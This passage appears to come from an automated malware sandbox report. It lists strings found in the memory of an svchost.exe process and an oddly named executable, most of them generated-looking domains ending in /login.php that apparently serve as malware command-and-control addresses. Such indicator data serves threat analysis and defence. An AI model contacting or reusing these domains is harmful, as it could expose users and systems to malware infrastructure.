Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzyjyg.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylol.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3383219866.0000000000812000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302424542.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267140420.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396823285.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397700563.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434703123.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2524832364.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2393071613.0000000003385000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000658000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E3C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E37000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E05000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000D1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzylyp.com/login.php
Source: svchost.exe, 00000002.00000003.2434703123.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3401901735.0000000008633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzymig.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzypav.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzypug.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577742596.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323585198.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577938444.0000000008693000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzytap.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzywuq.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323585198.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321538396.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzyxyv.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyhag.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyhuq.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2198550241.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2198486951.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393482937.000000000339B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344396822.0000000003399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebylug.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384540926.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376887527.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772865274.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2769955415.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375570190.0000000003307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384725083.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375509475.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771520849.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebylyp.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665740291.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyniv.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyqig.com/login.php
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2783207555.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyrel.com/http://qebyrel.com/http://vopycoc.com/http://lykygun.com/
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyrel.com/http://qetyxiv.com/http://vopycoc.com/http://lykygun.com/0
Source: svchost.exe, 00000002.00000003.2440992752.000000000866F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyrev.com/H
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyrev.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebysul.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2554933604.0000000005813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyvop.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyvyl.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577742596.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577938444.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qebyxyq.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qedyfog.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2566181125.000000000573E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qedyhyl.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qedykep.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307644873.0000000003353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qedykiv.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://qedyleq.com/login.php
